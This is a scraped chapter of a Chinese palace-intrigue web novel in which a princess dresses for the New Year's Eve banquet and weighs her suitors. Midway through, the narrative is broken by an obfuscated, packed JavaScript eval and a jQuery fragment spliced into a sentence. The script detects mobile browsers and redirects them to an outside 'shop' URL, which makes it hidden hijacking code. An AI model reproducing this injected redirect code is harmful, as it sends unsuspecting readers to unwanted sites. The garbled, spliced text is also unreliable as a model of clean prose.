“殿下,今日穿那件新制的绛红色宫装可好?”梅染从衣柜中取出一件华美异常的礼服,上面用金线绣着百鸟朝凤的图案,在晨光中熠熠生辉。
华舒轻轻摇头:“太招摇了。取那件藕荷色绣银线梅花的吧,今日要出风头的人可不是本宫呢。”
竹栖不解:“殿下,春嫔娘娘不是说今晚要……那您不是更应该……”
“正因为如此,才更要低调。”华舒淡淡道,“让该吃惊的人吃惊,该着急的人着急。我嘛,只需要做个乖巧的公主就好。”
华舒心里清楚得很,春嫔怀孕七个月的消息一旦爆出,整个朝堂都会震动。
赵皇后的计划会被打乱,那些原本观望的朝臣会重新站队。
而她华舒,这个原本被皇后当作重要棋子的公主,突然就会显得不是那么不可替代了。
“陈公子那边……”梅染一边为她梳头,一边低声说,“冯大哥今早递话进来,说陈公子昨日特意去了云裳阁,买了一盒最新出的‘雪中梅’香粉,想是要送给殿下。”
华舒唇角微勾。
陈铭这个傻子,每次见她都要带点小礼物。
上次是玫瑰精油,上上次是一方据说有安神效果的奇石,再上次是一本难得的古籍抄本……东西都不贵重,但能看出是花了心思的。
“他倒是用心。”华舒说,“可惜……”
可惜这份用心,注定要落空了。
她的计划里,根本没有与陈铭成婚的那一天,等不到春天,这南瑞的天就要变了。
“陆统领那边呢?”华舒问。
竹栖压低声音:“昨夜陆统领当值,巡逻时‘恰好’经过映月殿外。他让守门的小太监递了句话,说……说今晚宫宴,他会一直看着殿下。”
华舒眼中闪过一丝冷意。
陆明这话,半是提醒半是威胁。
他如今是御林军统领,掌管宫禁安全,确实有资格“一直看着”任何人。
但他忘了,他的权力是谁给的。
“知道了。”华舒不再多言。
妆扮停当,已是巳时三刻。
华舒看着镜中的自己,藕荷色宫装
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097284|195671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衬得肤色如玉,银线梅花暗纹在走动时会泛出淡淡光华,发髻梳得端庄,只簪了一支赤金点翠步摇和几朵小小的珍珠花钿。
既不失公主身份,又不会太过抢眼。
完美!
酉时正,太极殿。
百盏宫灯将大殿照得亮如白昼,殿内熏着暖香,驱散了冬夜的寒意。
鎏金柱上缠绕着红绸,处处张灯结彩,彰显着除夕的喜庆。
华舒到得不早不晚,她扶着梅染的手步入殿中时,已有不少官员和命妇到了。
众人见她进来,纷纷行礼问安,眼神却都有些微妙——这位刚刚摆脱和亲命运,又被赐婚的公主,如今可是风口浪尖上的人物。
“公主殿下金安。”一个温和的声音响起。
华舒转头,看见陈铭穿着一身崭新的宝蓝色锦袍站在不远处。
他今日显然精心打扮过,头发梳得一丝不苟,腰间佩着玉带,衬得那张清俊的脸更加出众。
只是眼神依旧带着惯有的羞涩,不敢与华舒对视太久。
TBC.